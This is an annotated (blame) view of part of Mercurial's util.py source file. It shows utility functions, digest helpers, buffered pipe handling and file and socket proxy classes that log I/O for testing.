Mercurial > hg
annotate mercurial/util.py @ 39209:1af95139e5ec
util: improve handling of truncated compressed streams
If the compressed stream is over as marked by the reader providing
nothing new and the compression engine is not providing data, bail out.
This can happen in practise when the server misbehaves and would result
in an infinite loop otherwise.
Differential Revision: https://phab.mercurial-scm.org/D4297
author | Joerg Sonnenberger <joerg@bec.de> |
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date | Thu, 16 Aug 2018 05:50:49 +0200 |
parents | ed8160e4fea0 |
children | 497effb0a04a |
rev | line source |
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17515 | 1 # util.py - Mercurial utility functions and platform specific implementations |
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2 # |
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3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com> |
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4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> |
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5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com> |
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6 # |
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7 # This software may be used and distributed according to the terms of the |
10263 | 8 # GNU General Public License version 2 or any later version. |
1082 | 9 |
17515 | 10 """Mercurial utility functions and platform specific implementations. |
1082 | 11 |
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12 This contains helper routines that are independent of the SCM core and |
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13 hide platform-specific details from the core. |
1082 | 14 """ |
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15 |
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16 from __future__ import absolute_import, print_function |
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17 |
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18 import abc |
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19 import bz2 |
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20 import collections |
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21 import contextlib |
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22 import errno |
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23 import gc |
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24 import hashlib |
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25 import itertools |
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26 import mmap |
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27 import os |
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28 import platform as pyplatform |
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29 import re as remod |
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30 import shutil |
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31 import socket |
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32 import stat |
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33 import sys |
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34 import time |
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35 import traceback |
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36 import warnings |
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37 import zlib |
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39 from .thirdparty import ( |
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40 attr, |
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41 ) |
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42 from . import ( |
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43 encoding, |
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44 error, |
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45 i18n, |
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46 node as nodemod, |
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47 policy, |
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48 pycompat, |
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49 urllibcompat, |
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50 ) |
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51 from .utils import ( |
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52 procutil, |
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53 stringutil, |
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54 ) |
3769 | 55 |
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56 base85 = policy.importmod(r'base85') |
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57 osutil = policy.importmod(r'osutil') |
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58 parsers = policy.importmod(r'parsers') |
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59 |
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60 b85decode = base85.b85decode |
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61 b85encode = base85.b85encode |
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62 |
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63 cookielib = pycompat.cookielib |
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64 httplib = pycompat.httplib |
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65 pickle = pycompat.pickle |
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66 safehasattr = pycompat.safehasattr |
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67 socketserver = pycompat.socketserver |
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68 bytesio = pycompat.bytesio |
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69 # TODO deprecate stringio name, as it is a lie on Python 3. |
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70 stringio = bytesio |
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71 xmlrpclib = pycompat.xmlrpclib |
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72 |
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73 httpserver = urllibcompat.httpserver |
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74 urlerr = urllibcompat.urlerr |
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75 urlreq = urllibcompat.urlreq |
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76 |
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77 # workaround for win32mbcs |
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78 _filenamebytestr = pycompat.bytestr |
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79 |
34645 | 80 if pycompat.iswindows: |
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81 from . import windows as platform |
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82 else: |
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83 from . import posix as platform |
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84 |
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85 _ = i18n._ |
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86 |
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87 bindunixsocket = platform.bindunixsocket |
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88 cachestat = platform.cachestat |
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89 checkexec = platform.checkexec |
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90 checklink = platform.checklink |
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91 copymode = platform.copymode |
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92 expandglobs = platform.expandglobs |
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93 getfsmountpoint = platform.getfsmountpoint |
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94 getfstype = platform.getfstype |
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95 groupmembers = platform.groupmembers |
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96 groupname = platform.groupname |
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97 isexec = platform.isexec |
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98 isowner = platform.isowner |
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99 listdir = osutil.listdir |
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100 localpath = platform.localpath |
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101 lookupreg = platform.lookupreg |
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102 makedir = platform.makedir |
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103 nlinks = platform.nlinks |
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104 normpath = platform.normpath |
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105 normcase = platform.normcase |
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106 normcasespec = platform.normcasespec |
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107 normcasefallback = platform.normcasefallback |
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108 openhardlinks = platform.openhardlinks |
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109 oslink = platform.oslink |
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110 parsepatchoutput = platform.parsepatchoutput |
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111 pconvert = platform.pconvert |
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112 poll = platform.poll |
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113 posixfile = platform.posixfile |
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114 rename = platform.rename |
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115 removedirs = platform.removedirs |
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116 samedevice = platform.samedevice |
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117 samefile = platform.samefile |
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118 samestat = platform.samestat |
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119 setflags = platform.setflags |
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120 split = platform.split |
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121 statfiles = getattr(osutil, 'statfiles', platform.statfiles) |
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122 statisexec = platform.statisexec |
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123 statislink = platform.statislink |
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124 umask = platform.umask |
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125 unlink = platform.unlink |
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126 username = platform.username |
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127 |
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128 try: |
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129 recvfds = osutil.recvfds |
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130 except AttributeError: |
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131 pass |
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132 |
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133 # Python compatibility |
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135 _notset = object() |
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136 |
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138 bits = 0 | |
139 for bit in container: | |
140 bits |= bit | |
141 return bits | |
142 | |
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143 # python 2.6 still have deprecation warning enabled by default. We do not want |
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144 # to display anything to standard user so detect if we are running test and |
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145 # only use python deprecation warning in this case. |
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146 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS')) |
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147 if _dowarn: |
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148 # explicitly unfilter our warning for python 2.7 |
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149 # |
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150 # The option of setting PYTHONWARNINGS in the test runner was investigated. |
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151 # However, module name set through PYTHONWARNINGS was exactly matched, so |
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152 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This |
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153 # makes the whole PYTHONWARNINGS thing useless for our usecase. |
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154 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial') |
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155 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext') |
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156 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd') |
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157 if _dowarn and pycompat.ispy3: |
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158 # silence warning emitted by passing user string to re.sub() |
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159 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning, |
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160 r'mercurial') |
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161 warnings.filterwarnings(r'ignore', r'invalid escape sequence', |
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162 DeprecationWarning, r'mercurial') |
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163 # TODO: reinvent imp.is_frozen() |
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164 warnings.filterwarnings(r'ignore', r'the imp module is deprecated', |
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165 DeprecationWarning, r'mercurial') |
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166 |
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167 def nouideprecwarn(msg, version, stacklevel=1): |
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168 """Issue an python native deprecation warning |
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169 |
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170 This is a noop outside of tests, use 'ui.deprecwarn' when possible. |
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171 """ |
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172 if _dowarn: |
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173 msg += ("\n(compatibility will be dropped after Mercurial-%s," |
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174 " update your code.)") % version |
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175 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1) |
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176 |
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177 DIGESTS = { |
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178 'md5': hashlib.md5, |
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179 'sha1': hashlib.sha1, |
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180 'sha512': hashlib.sha512, |
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181 } |
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182 # List of digest types from strongest to weakest |
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183 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5'] |
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184 |
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185 for k in DIGESTS_BY_STRENGTH: |
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186 assert k in DIGESTS |
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187 |
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188 class digester(object): |
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189 """helper to compute digests. |
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190 |
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191 This helper can be used to compute one or more digests given their name. |
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192 |
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193 >>> d = digester([b'md5', b'sha1']) |
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194 >>> d.update(b'foo') |
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195 >>> [k for k in sorted(d)] |
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196 ['md5', 'sha1'] |
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197 >>> d[b'md5'] |
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198 'acbd18db4cc2f85cedef654fccc4a4d8' |
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199 >>> d[b'sha1'] |
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200 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33' |
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201 >>> digester.preferred([b'md5', b'sha1']) |
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202 'sha1' |
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203 """ |
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204 |
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205 def __init__(self, digests, s=''): |
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206 self._hashes = {} |
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207 for k in digests: |
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208 if k not in DIGESTS: |
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209 raise error.Abort(_('unknown digest type: %s') % k) |
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210 self._hashes[k] = DIGESTS[k]() |
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211 if s: |
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212 self.update(s) |
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213 |
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214 def update(self, data): |
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215 for h in self._hashes.values(): |
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216 h.update(data) |
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217 |
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218 def __getitem__(self, key): |
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219 if key not in DIGESTS: |
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220 raise error.Abort(_('unknown digest type: %s') % k) |
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221 return nodemod.hex(self._hashes[key].digest()) |
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222 |
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223 def __iter__(self): |
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224 return iter(self._hashes) |
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225 |
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226 @staticmethod |
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227 def preferred(supported): |
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228 """returns the strongest digest type in both supported and DIGESTS.""" |
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229 |
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230 for k in DIGESTS_BY_STRENGTH: |
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231 if k in supported: |
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232 return k |
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233 return None |
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234 |
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235 class digestchecker(object): |
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236 """file handle wrapper that additionally checks content against a given |
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237 size and digests. |
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238 |
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239 d = digestchecker(fh, size, {'md5': '...'}) |
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240 |
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241 When multiple digests are given, all of them are validated. |
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242 """ |
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243 |
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244 def __init__(self, fh, size, digests): |
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245 self._fh = fh |
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246 self._size = size |
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247 self._got = 0 |
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248 self._digests = dict(digests) |
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249 self._digester = digester(self._digests.keys()) |
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250 |
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251 def read(self, length=-1): |
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252 content = self._fh.read(length) |
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253 self._digester.update(content) |
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254 self._got += len(content) |
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255 return content |
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256 |
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257 def validate(self): |
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258 if self._size != self._got: |
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259 raise error.Abort(_('size mismatch: expected %d, got %d') % |
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260 (self._size, self._got)) |
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261 for k, v in self._digests.items(): |
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262 if v != self._digester[k]: |
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263 # i18n: first parameter is a digest name |
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264 raise error.Abort(_('%s mismatch: expected %s, got %s') % |
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265 (k, v, self._digester[k])) |
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266 |
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267 try: |
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268 buffer = buffer |
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269 except NameError: |
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270 def buffer(sliceable, offset=0, length=None): |
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271 if length is not None: |
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272 return memoryview(sliceable)[offset:offset + length] |
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273 return memoryview(sliceable)[offset:] |
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274 |
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275 _chunksize = 4096 |
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276 |
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277 class bufferedinputpipe(object): |
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278 """a manually buffered input pipe |
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279 |
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280 Python will not let us use buffered IO and lazy reading with 'polling' at |
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281 the same time. We cannot probe the buffer state and select will not detect |
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282 that data are ready to read if they are already buffered. |
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283 |
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284 This class let us work around that by implementing its own buffering |
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285 (allowing efficient readline) while offering a way to know if the buffer is |
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286 empty from the output (allowing collaboration of the buffer with polling). |
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287 |
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288 This class lives in the 'util' module because it makes use of the 'os' |
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289 module from the python stdlib. |
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290 """ |
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291 def __new__(cls, fh): |
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292 # If we receive a fileobjectproxy, we need to use a variation of this |
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293 # class that notifies observers about activity. |
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294 if isinstance(fh, fileobjectproxy): |
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295 cls = observedbufferedinputpipe |
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296 |
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297 return super(bufferedinputpipe, cls).__new__(cls) |
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298 |
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299 def __init__(self, input): |
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300 self._input = input |
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301 self._buffer = [] |
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302 self._eof = False |
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303 self._lenbuf = 0 |
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304 |
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305 @property |
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306 def hasbuffer(self): |
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307 """True is any data is currently buffered |
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308 |
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309 This will be used externally a pre-step for polling IO. If there is |
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310 already data then no polling should be set in place.""" |
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311 return bool(self._buffer) |
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312 |
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313 @property |
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314 def closed(self): |
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315 return self._input.closed |
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316 |
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317 def fileno(self): |
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318 return self._input.fileno() |
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319 |
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320 def close(self): |
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321 return self._input.close() |
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322 |
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323 def read(self, size): |
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324 while (not self._eof) and (self._lenbuf < size): |
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325 self._fillbuffer() |
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326 return self._frombuffer(size) |
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327 |
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328 def unbufferedread(self, size): |
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329 if not self._eof and self._lenbuf == 0: |
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330 self._fillbuffer(max(size, _chunksize)) |
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331 return self._frombuffer(min(self._lenbuf, size)) |
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332 |
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333 def readline(self, *args, **kwargs): |
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334 if 1 < len(self._buffer): |
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335 # this should not happen because both read and readline end with a |
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336 # _frombuffer call that collapse it. |
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337 self._buffer = [''.join(self._buffer)] |
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338 self._lenbuf = len(self._buffer[0]) |
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339 lfi = -1 |
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340 if self._buffer: |
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341 lfi = self._buffer[-1].find('\n') |
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342 while (not self._eof) and lfi < 0: |
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343 self._fillbuffer() |
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344 if self._buffer: |
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345 lfi = self._buffer[-1].find('\n') |
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346 size = lfi + 1 |
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347 if lfi < 0: # end of file |
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348 size = self._lenbuf |
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349 elif 1 < len(self._buffer): |
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350 # we need to take previous chunks into account |
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351 size += self._lenbuf - len(self._buffer[-1]) |
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352 return self._frombuffer(size) |
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353 |
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354 def _frombuffer(self, size): |
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355 """return at most 'size' data from the buffer |
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356 |
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357 The data are removed from the buffer.""" |
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358 if size == 0 or not self._buffer: |
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359 return '' |
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360 buf = self._buffer[0] |
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361 if 1 < len(self._buffer): |
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362 buf = ''.join(self._buffer) |
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363 |
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364 data = buf[:size] |
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365 buf = buf[len(data):] |
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366 if buf: |
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367 self._buffer = [buf] |
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368 self._lenbuf = len(buf) |
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369 else: |
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370 self._buffer = [] |
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371 self._lenbuf = 0 |
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372 return data |
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373 |
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374 def _fillbuffer(self, size=_chunksize): |
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375 """read data to the buffer""" |
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376 data = os.read(self._input.fileno(), size) |
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377 if not data: |
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378 self._eof = True |
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379 else: |
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380 self._lenbuf += len(data) |
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381 self._buffer.append(data) |
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382 |
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383 return data |
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384 |
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385 def mmapread(fp): |
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386 try: |
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387 fd = getattr(fp, 'fileno', lambda: fp)() |
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388 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ) |
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389 except ValueError: |
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390 # Empty files cannot be mmapped, but mmapread should still work. Check |
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391 # if the file is empty, and if so, return an empty buffer. |
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392 if os.fstat(fd).st_size == 0: |
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393 return '' |
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394 raise |
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395 |
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396 class fileobjectproxy(object): |
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397 """A proxy around file objects that tells a watcher when events occur. |
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398 |
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399 This type is intended to only be used for testing purposes. Think hard |
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400 before using it in important code. |
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401 """ |
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402 __slots__ = ( |
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403 r'_orig', |
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404 r'_observer', |
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405 ) |
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406 |
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407 def __init__(self, fh, observer): |
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408 object.__setattr__(self, r'_orig', fh) |
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409 object.__setattr__(self, r'_observer', observer) |
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410 |
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411 def __getattribute__(self, name): |
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412 ours = { |
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413 r'_observer', |
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414 |
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415 # IOBase |
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416 r'close', |
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417 # closed if a property |
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418 r'fileno', |
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419 r'flush', |
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420 r'isatty', |
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421 r'readable', |
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422 r'readline', |
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423 r'readlines', |
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424 r'seek', |
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425 r'seekable', |
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426 r'tell', |
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427 r'truncate', |
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428 r'writable', |
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429 r'writelines', |
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430 # RawIOBase |
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431 r'read', |
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432 r'readall', |
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433 r'readinto', |
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434 r'write', |
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435 # BufferedIOBase |
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436 # raw is a property |
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437 r'detach', |
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438 # read defined above |
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439 r'read1', |
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440 # readinto defined above |
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441 # write defined above |
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442 } |
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443 |
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444 # We only observe some methods. |
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445 if name in ours: |
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446 return object.__getattribute__(self, name) |
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447 |
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448 return getattr(object.__getattribute__(self, r'_orig'), name) |
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449 |
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450 def __nonzero__(self): |
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451 return bool(object.__getattribute__(self, r'_orig')) |
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452 |
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453 __bool__ = __nonzero__ |
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454 |
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455 def __delattr__(self, name): |
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456 return delattr(object.__getattribute__(self, r'_orig'), name) |
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457 |
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458 def __setattr__(self, name, value): |
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459 return setattr(object.__getattribute__(self, r'_orig'), name, value) |
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460 |
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461 def __iter__(self): |
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462 return object.__getattribute__(self, r'_orig').__iter__() |
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463 |
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464 def _observedcall(self, name, *args, **kwargs): |
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465 # Call the original object. |
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466 orig = object.__getattribute__(self, r'_orig') |
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467 res = getattr(orig, name)(*args, **kwargs) |
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468 |
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469 # Call a method on the observer of the same name with arguments |
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470 # so it can react, log, etc. |
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471 observer = object.__getattribute__(self, r'_observer') |
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472 fn = getattr(observer, name, None) |
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473 if fn: |
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474 fn(res, *args, **kwargs) |
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475 |
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476 return res |
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477 |
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478 def close(self, *args, **kwargs): |
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479 return object.__getattribute__(self, r'_observedcall')( |
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480 r'close', *args, **kwargs) |
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481 |
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482 def fileno(self, *args, **kwargs): |
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483 return object.__getattribute__(self, r'_observedcall')( |
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484 r'fileno', *args, **kwargs) |
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485 |
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486 def flush(self, *args, **kwargs): |
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487 return object.__getattribute__(self, r'_observedcall')( |
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488 r'flush', *args, **kwargs) |
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489 |
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490 def isatty(self, *args, **kwargs): |
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491 return object.__getattribute__(self, r'_observedcall')( |
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492 r'isatty', *args, **kwargs) |
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493 |
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494 def readable(self, *args, **kwargs): |
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495 return object.__getattribute__(self, r'_observedcall')( |
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496 r'readable', *args, **kwargs) |
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497 |
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498 def readline(self, *args, **kwargs): |
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499 return object.__getattribute__(self, r'_observedcall')( |
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500 r'readline', *args, **kwargs) |
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501 |
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502 def readlines(self, *args, **kwargs): |
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503 return object.__getattribute__(self, r'_observedcall')( |
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504 r'readlines', *args, **kwargs) |
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505 |
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506 def seek(self, *args, **kwargs): |
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507 return object.__getattribute__(self, r'_observedcall')( |
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508 r'seek', *args, **kwargs) |
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509 |
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510 def seekable(self, *args, **kwargs): |
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511 return object.__getattribute__(self, r'_observedcall')( |
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512 r'seekable', *args, **kwargs) |
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513 |
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514 def tell(self, *args, **kwargs): |
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515 return object.__getattribute__(self, r'_observedcall')( |
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516 r'tell', *args, **kwargs) |
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517 |
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518 def truncate(self, *args, **kwargs): |
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519 return object.__getattribute__(self, r'_observedcall')( |
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520 r'truncate', *args, **kwargs) |
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521 |
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522 def writable(self, *args, **kwargs): |
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523 return object.__getattribute__(self, r'_observedcall')( |
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524 r'writable', *args, **kwargs) |
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525 |
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526 def writelines(self, *args, **kwargs): |
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527 return object.__getattribute__(self, r'_observedcall')( |
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528 r'writelines', *args, **kwargs) |
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529 |
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530 def read(self, *args, **kwargs): |
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531 return object.__getattribute__(self, r'_observedcall')( |
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532 r'read', *args, **kwargs) |
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533 |
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534 def readall(self, *args, **kwargs): |
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535 return object.__getattribute__(self, r'_observedcall')( |
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536 r'readall', *args, **kwargs) |
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537 |
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538 def readinto(self, *args, **kwargs): |
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539 return object.__getattribute__(self, r'_observedcall')( |
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540 r'readinto', *args, **kwargs) |
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541 |
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542 def write(self, *args, **kwargs): |
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543 return object.__getattribute__(self, r'_observedcall')( |
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544 r'write', *args, **kwargs) |
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545 |
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546 def detach(self, *args, **kwargs): |
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547 return object.__getattribute__(self, r'_observedcall')( |
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548 r'detach', *args, **kwargs) |
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549 |
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550 def read1(self, *args, **kwargs): |
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551 return object.__getattribute__(self, r'_observedcall')( |
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552 r'read1', *args, **kwargs) |
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553 |
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554 class observedbufferedinputpipe(bufferedinputpipe): |
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555 """A variation of bufferedinputpipe that is aware of fileobjectproxy. |
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556 |
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557 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that |
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558 bypass ``fileobjectproxy``. Because of this, we need to make |
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559 ``bufferedinputpipe`` aware of these operations. |
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560 |
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561 This variation of ``bufferedinputpipe`` can notify observers about |
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562 ``os.read()`` events. It also re-publishes other events, such as |
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563 ``read()`` and ``readline()``. |
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564 """ |
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565 def _fillbuffer(self): |
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566 res = super(observedbufferedinputpipe, self)._fillbuffer() |
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567 |
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568 fn = getattr(self._input._observer, r'osread', None) |
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569 if fn: |
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570 fn(res, _chunksize) |
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571 |
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572 return res |
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573 |
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574 # We use different observer methods because the operation isn't |
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575 # performed on the actual file object but on us. |
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576 def read(self, size): |
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577 res = super(observedbufferedinputpipe, self).read(size) |
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578 |
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579 fn = getattr(self._input._observer, r'bufferedread', None) |
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580 if fn: |
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581 fn(res, size) |
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582 |
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583 return res |
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584 |
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585 def readline(self, *args, **kwargs): |
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586 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs) |
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587 |
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588 fn = getattr(self._input._observer, r'bufferedreadline', None) |
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589 if fn: |
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590 fn(res) |
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591 |
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592 return res |
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593 |
37010
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594 PROXIED_SOCKET_METHODS = { |
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595 r'makefile', |
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596 r'recv', |
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597 r'recvfrom', |
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598 r'recvfrom_into', |
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599 r'recv_into', |
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600 r'send', |
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601 r'sendall', |
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602 r'sendto', |
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603 r'setblocking', |
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604 r'settimeout', |
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605 r'gettimeout', |
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606 r'setsockopt', |
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607 } |
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608 |
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609 class socketproxy(object): |
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610 """A proxy around a socket that tells a watcher when events occur. |
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611 |
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612 This is like ``fileobjectproxy`` except for sockets. |
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613 |
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614 This type is intended to only be used for testing purposes. Think hard |
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615 before using it in important code. |
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616 """ |
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617 __slots__ = ( |
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618 r'_orig', |
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619 r'_observer', |
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620 ) |
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621 |
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622 def __init__(self, sock, observer): |
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623 object.__setattr__(self, r'_orig', sock) |
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624 object.__setattr__(self, r'_observer', observer) |
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625 |
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626 def __getattribute__(self, name): |
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627 if name in PROXIED_SOCKET_METHODS: |
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628 return object.__getattribute__(self, name) |
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629 |
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630 return getattr(object.__getattribute__(self, r'_orig'), name) |
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631 |
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632 def __delattr__(self, name): |
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633 return delattr(object.__getattribute__(self, r'_orig'), name) |
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634 |
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635 def __setattr__(self, name, value): |
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636 return setattr(object.__getattribute__(self, r'_orig'), name, value) |
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637 |
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638 def __nonzero__(self): |
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639 return bool(object.__getattribute__(self, r'_orig')) |
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640 |
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641 __bool__ = __nonzero__ |
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642 |
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643 def _observedcall(self, name, *args, **kwargs): |
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644 # Call the original object. |
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645 orig = object.__getattribute__(self, r'_orig') |
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646 res = getattr(orig, name)(*args, **kwargs) |
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647 |
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648 # Call a method on the observer of the same name with arguments |
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649 # so it can react, log, etc. |
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650 observer = object.__getattribute__(self, r'_observer') |
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651 fn = getattr(observer, name, None) |
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652 if fn: |
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653 fn(res, *args, **kwargs) |
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654 |
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655 return res |
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656 |
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657 def makefile(self, *args, **kwargs): |
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658 res = object.__getattribute__(self, r'_observedcall')( |
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659 r'makefile', *args, **kwargs) |
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660 |
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661 # The file object may be used for I/O. So we turn it into a |
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662 # proxy using our observer. |
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663 observer = object.__getattribute__(self, r'_observer') |
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664 return makeloggingfileobject(observer.fh, res, observer.name, |
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665 reads=observer.reads, |
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666 writes=observer.writes, |
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667 logdata=observer.logdata, |
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668 logdataapis=observer.logdataapis) |
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669 |
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670 def recv(self, *args, **kwargs): |
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671 return object.__getattribute__(self, r'_observedcall')( |
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672 r'recv', *args, **kwargs) |
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673 |
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674 def recvfrom(self, *args, **kwargs): |
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675 return object.__getattribute__(self, r'_observedcall')( |
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676 r'recvfrom', *args, **kwargs) |
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677 |
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678 def recvfrom_into(self, *args, **kwargs): |
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679 return object.__getattribute__(self, r'_observedcall')( |
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680 r'recvfrom_into', *args, **kwargs) |
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681 |
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682 def recv_into(self, *args, **kwargs): |
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683 return object.__getattribute__(self, r'_observedcall')( |
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684 r'recv_info', *args, **kwargs) |
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685 |
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686 def send(self, *args, **kwargs): |
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687 return object.__getattribute__(self, r'_observedcall')( |
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688 r'send', *args, **kwargs) |
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689 |
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690 def sendall(self, *args, **kwargs): |
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691 return object.__getattribute__(self, r'_observedcall')( |
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692 r'sendall', *args, **kwargs) |
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693 |
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694 def sendto(self, *args, **kwargs): |
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695 return object.__getattribute__(self, r'_observedcall')( |
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696 r'sendto', *args, **kwargs) |
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697 |
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698 def setblocking(self, *args, **kwargs): |
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699 return object.__getattribute__(self, r'_observedcall')( |
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700 r'setblocking', *args, **kwargs) |
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701 |
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702 def settimeout(self, *args, **kwargs): |
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703 return object.__getattribute__(self, r'_observedcall')( |
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704 r'settimeout', *args, **kwargs) |
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705 |
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706 def gettimeout(self, *args, **kwargs): |
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707 return object.__getattribute__(self, r'_observedcall')( |
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708 r'gettimeout', *args, **kwargs) |
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709 |
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710 def setsockopt(self, *args, **kwargs): |
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711 return object.__getattribute__(self, r'_observedcall')( |
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712 r'setsockopt', *args, **kwargs) |
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713 |
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714 class baseproxyobserver(object): |
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bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
715 def _writedata(self, data): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
716 if not self.logdata: |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
717 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
718 self.fh.write('\n') |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
719 self.fh.flush() |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
720 return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
721 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
722 # Simple case writes all data on a single line. |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
723 if b'\n' not in data: |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
724 if self.logdataapis: |
37322
a67fd1fe5109
stringutil: drop escapedata() in favor of escapestr()
Yuya Nishihara <yuya@tcha.org>
parents:
37121
diff
changeset
|
725 self.fh.write(': %s\n' % stringutil.escapestr(data)) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
726 else: |
37084
f0b6fbea00cf
stringutil: bulk-replace call sites to point to new module
Yuya Nishihara <yuya@tcha.org>
parents:
37083
diff
changeset
|
727 self.fh.write('%s> %s\n' |
37322
a67fd1fe5109
stringutil: drop escapedata() in favor of escapestr()
Yuya Nishihara <yuya@tcha.org>
parents:
37121
diff
changeset
|
728 % (self.name, stringutil.escapestr(data))) |
36991
d683c7367989
wireproto: explicitly flush stdio to prevent stalls on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents:
36958
diff
changeset
|
729 self.fh.flush() |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
730 return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
731 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
732 # Data with newlines is written to multiple lines. |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
733 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
734 self.fh.write(':\n') |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
735 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
736 lines = data.splitlines(True) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
737 for line in lines: |
37084
f0b6fbea00cf
stringutil: bulk-replace call sites to point to new module
Yuya Nishihara <yuya@tcha.org>
parents:
37083
diff
changeset
|
738 self.fh.write('%s> %s\n' |
37322
a67fd1fe5109
stringutil: drop escapedata() in favor of escapestr()
Yuya Nishihara <yuya@tcha.org>
parents:
37121
diff
changeset
|
739 % (self.name, stringutil.escapestr(line))) |
36991
d683c7367989
wireproto: explicitly flush stdio to prevent stalls on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents:
36958
diff
changeset
|
740 self.fh.flush() |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
741 |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
742 class fileobjectobserver(baseproxyobserver): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
743 """Logs file object activity.""" |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
744 def __init__(self, fh, name, reads=True, writes=True, logdata=False, |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
745 logdataapis=True): |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
746 self.fh = fh |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
747 self.name = name |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
748 self.logdata = logdata |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
749 self.logdataapis = logdataapis |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
750 self.reads = reads |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
751 self.writes = writes |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
752 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
753 def read(self, res, size=-1): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
754 if not self.reads: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
755 return |
36585
26a6b62919e2
util: work around Python 3 returning None at EOF instead of ''
Augie Fackler <augie@google.com>
parents:
36584
diff
changeset
|
756 # Python 3 can return None from reads at EOF instead of empty strings. |
26a6b62919e2
util: work around Python 3 returning None at EOF instead of ''
Augie Fackler <augie@google.com>
parents:
36584
diff
changeset
|
757 if res is None: |
26a6b62919e2
util: work around Python 3 returning None at EOF instead of ''
Augie Fackler <augie@google.com>
parents:
36584
diff
changeset
|
758 res = '' |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
